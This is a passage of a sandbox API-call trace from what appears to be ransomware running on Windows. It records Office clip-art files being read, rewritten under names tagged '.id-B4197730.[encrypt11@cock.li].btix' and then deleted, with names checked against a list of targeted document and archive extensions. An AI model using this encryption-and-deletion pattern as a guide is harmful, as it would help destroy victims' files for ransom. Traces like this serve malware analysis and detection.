hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0057.136] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0057.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0057.137] GetLastError () returned 0x0 [0057.137] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x370, lpOverlapped=0x0) returned 1 [0057.719] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x380, lpOverlapped=0x0) returned 1 [0057.720] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0057.720] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0057.721] SetEndOfFile (hFile=0x37c) returned 1 [0057.766] CloseHandle (hObject=0x37c) returned 1 [0057.771] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0057.771] SetEndOfFile (hFile=0x394) returned 1 [0057.772] CloseHandle (hObject=0x394) returned 1 [0057.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0057.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0057.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0057.779] lstrlenW (lpString=".doc") returned 4 [0057.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.779] lstrlenW (lpString=".docx") returned 5 [0057.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.779] lstrlenW (lpString=".pdf") returned 4 [0057.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.779] lstrlenW (lpString=".xls") returned 4 [0057.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.779] lstrlenW (lpString=".xlsx") returned 5 [0057.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.779] lstrlenW (lpString=".ppt") returned 4 [0057.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0057.779] lstrlenW (lpString=".zip") returned 4 [0057.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.779] lstrlenW (lpString=".rar") returned 4 [0057.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.779] lstrlenW (lpString=".bz2") returned 4 [0057.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.779] lstrlenW (lpString=".7z") returned 3 [0057.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0057.780] lstrlenW (lpString=".dbf") returned 4 [0057.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0057.780] lstrlenW (lpString=".1cd") returned 4 [0057.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0057.780] lstrlenW (lpString=".jpg") returned 4 [0057.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.817] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0057.817] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0057.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0057.818] GetLastError () returned 0x0 [0057.818] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xfb8, lpOverlapped=0x0) returned 1 [0058.378] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xfc0, lpOverlapped=0x0) returned 1 [0058.378] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0058.379] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0058.379] SetEndOfFile (hFile=0x2d8) returned 1 [0058.570] CloseHandle (hObject=0x2d8) returned 1 [0058.571] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.571] SetEndOfFile (hFile=0x36c) returned 1 [0058.572] CloseHandle (hObject=0x36c) returned 1 [0058.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0058.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0058.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0058.573] lstrlenW (lpString=".doc") returned 4 [0058.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.573] lstrlenW (lpString=".docx") returned 5 [0058.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.573] lstrlenW (lpString=".pdf") returned 4 [0058.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.573] lstrlenW (lpString=".xls") returned 4 [0058.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.574] lstrlenW (lpString=".xlsx") returned 5 [0058.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.574] lstrlenW (lpString=".ppt") returned 4 [0058.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0058.574] lstrlenW (lpString=".zip") returned 4 [0058.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.574] lstrlenW (lpString=".rar") returned 4 [0058.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.574] lstrlenW (lpString=".bz2") returned 4 [0058.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.574] lstrlenW (lpString=".7z") returned 3 [0058.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0058.574] lstrlenW (lpString=".dbf") returned 4 [0058.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0058.574] lstrlenW (lpString=".1cd") returned 4 [0058.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0058.574] lstrlenW (lpString=".jpg") returned 4 [0058.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.575] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.575] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0058.575] GetLastError () returned 0x0 [0058.575] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x9fc, lpOverlapped=0x0) returned 1 [0058.626] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xa00, lpOverlapped=0x0) returned 1 [0058.627] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0058.627] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0058.627] SetEndOfFile (hFile=0x2d8) returned 1 [0058.627] CloseHandle (hObject=0x2d8) returned 1 [0058.628] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.628] SetEndOfFile (hFile=0x36c) returned 1 [0058.629] CloseHandle (hObject=0x36c) returned 1 [0058.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0058.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0058.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0058.630] lstrlenW (lpString=".doc") returned 4 [0058.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString=".docx") returned 5 [0058.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.630] lstrlenW (lpString=".pdf") returned 4 [0058.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString=".xls") returned 4 [0058.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.630] lstrlenW (lpString=".xlsx") returned 5 [0058.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.630] lstrlenW (lpString=".ppt") returned 4 [0058.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0058.630] lstrlenW (lpString=".zip") returned 4 [0058.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.630] lstrlenW (lpString=".rar") returned 4 [0058.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString=".bz2") returned 4 [0058.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString=".7z") returned 3 [0058.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0058.630] lstrlenW (lpString=".dbf") returned 4 [0058.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0058.631] lstrlenW (lpString=".1cd") returned 4 [0058.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0058.631] lstrlenW (lpString=".jpg") returned 4 [0058.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.631] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.631] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0058.632] GetLastError () returned 0x0 [0058.632] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xa54, lpOverlapped=0x0) returned 1 [0058.657] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xa60, lpOverlapped=0x0) returned 1 [0058.658] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0058.658] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0058.658] SetEndOfFile (hFile=0x2d8) returned 1 [0058.770] CloseHandle (hObject=0x2d8) returned 1 [0058.771] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.771] SetEndOfFile (hFile=0x36c) returned 1 [0058.772] CloseHandle (hObject=0x36c) returned 1 [0058.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0058.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0058.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0058.773] lstrlenW (lpString=".doc") returned 4 [0058.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.773] lstrlenW (lpString=".docx") returned 5 [0058.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.773] lstrlenW (lpString=".pdf") returned 4 [0058.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.773] lstrlenW (lpString=".xls") returned 4 [0058.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.773] lstrlenW (lpString=".xlsx") returned 5 [0058.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.773] lstrlenW (lpString=".ppt") returned 4 [0058.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0058.773] lstrlenW (lpString=".zip") returned 4 [0058.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.773] lstrlenW (lpString=".rar") returned 4 [0058.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.773] lstrlenW (lpString=".bz2") returned 4 [0058.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.773] lstrlenW (lpString=".7z") returned 3 [0058.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0058.773] lstrlenW (lpString=".dbf") returned 4 [0058.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0058.773] lstrlenW (lpString=".1cd") returned 4 [0058.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0058.773] lstrlenW (lpString=".jpg") returned 4 [0058.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.774] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.774] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0058.774] GetLastError () returned 0x0 [0058.774] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1044, lpOverlapped=0x0) returned 1 [0058.804] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1050, lpOverlapped=0x0) returned 1 [0058.804] ReadFile (in: hFile=0x36c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0058.805] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0058.805] SetEndOfFile (hFile=0x2d8) returned 1 [0058.805] CloseHandle (hObject=0x2d8) returned 1 [0058.806] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.806] SetEndOfFile (hFile=0x36c) returned 1 [0058.807] CloseHandle (hObject=0x36c) returned 1 [0058.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0058.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0058.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0058.813] lstrlenW (lpString=".doc") returned 4 [0058.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.813] lstrlenW (lpString=".docx") returned 5 [0058.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.813] lstrlenW (lpString=".pdf") returned 4 [0058.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.813] lstrlenW (lpString=".xls") returned 4 [0058.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.813] lstrlenW (lpString=".xlsx") returned 5 [0058.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.813] lstrlenW (lpString=".ppt") returned 4 [0058.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0058.813] lstrlenW (lpString=".zip") returned 4 [0058.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.813] lstrlenW (lpString=".rar") returned 4 [0058.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.813] lstrlenW (lpString=".bz2") returned 4 [0058.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.814] lstrlenW (lpString=".7z") returned 3 [0058.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0058.814] lstrlenW (lpString=".dbf") returned 4 [0058.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0058.814] lstrlenW (lpString=".1cd") returned 4 [0058.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0058.814] lstrlenW (lpString=".jpg") returned 4 [0058.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.831] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.831] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0058.832] GetLastError () returned 0x0 [0058.832] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x69aa, lpOverlapped=0x0) returned 1 [0058.987] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x69b0, lpOverlapped=0x0) returned 1 [0058.988] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0058.988] WriteFile (in: hFile=0x2d8, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0058.988] SetEndOfFile (hFile=0x2d8) returned 1 [0058.988] CloseHandle (hObject=0x2d8) returned 1 [0058.989] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0058.989] SetEndOfFile (hFile=0x394) returned 1 [0058.990] CloseHandle (hObject=0x394) 